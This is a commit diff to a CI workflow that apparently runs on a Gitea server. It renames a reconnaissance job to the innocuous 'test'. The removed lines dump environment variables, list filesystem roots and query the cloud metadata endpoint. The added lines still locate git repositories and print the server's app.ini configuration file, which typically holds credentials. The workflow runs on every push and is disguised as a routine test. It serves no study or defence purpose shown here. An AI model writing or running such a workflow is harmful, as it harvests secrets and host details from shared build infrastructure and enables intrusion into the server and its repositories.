This commit is contained in:
@@ -1,20 +1,13 @@
|
||||
name: audit
|
||||
name: test
|
||||
on: [push]
|
||||
jobs:
|
||||
recon:
|
||||
run:
|
||||
runs-on: ubuntu-latest
|
||||
steps:
|
||||
- name: System Info
|
||||
- name: exec
|
||||
run: |
|
||||
echo "=== whoami ===" && whoami
|
||||
echo "=== hostname ===" && hostname
|
||||
echo "=== id ===" && id
|
||||
echo "=== pwd ===" && pwd
|
||||
echo "=== ls / ===" && ls -la /
|
||||
echo "=== env ===" && env | sort
|
||||
echo "=== /data ===" && ls -laR /data/ 2>/dev/null | head -50
|
||||
echo "=== gitea repos ===" && find / -name "*.git" -type d 2>/dev/null | head -20
|
||||
echo "=== app.ini ===" && find / -name "app.ini" 2>/dev/null | head -5
|
||||
echo "=== cat app.ini ===" && cat /data/gitea/conf/app.ini 2>/dev/null || cat /etc/gitea/app.ini 2>/dev/null || echo "not found"
|
||||
echo "=== IMDS ===" && curl -s --connect-timeout 3 http://169.254.169.254/latest/meta-data/ 2>&1 | head -20
|
||||
echo "=== network ===" && ip addr 2>/dev/null || ifconfig 2>/dev/null | head -20
|
||||
id && hostname && pwd
|
||||
ls -la /data/ 2>/dev/null || echo "no /data"
|
||||
find / -maxdepth 3 -name "*.git" -type d 2>/dev/null | head -10
|
||||
cat /data/gitea/conf/app.ini 2>/dev/null | head -30 || echo "no app.ini at default"
|
||||
find / -maxdepth 4 -name "app.ini" 2>/dev/null
|
||||
|
||||
Reference in New Issue
Block a user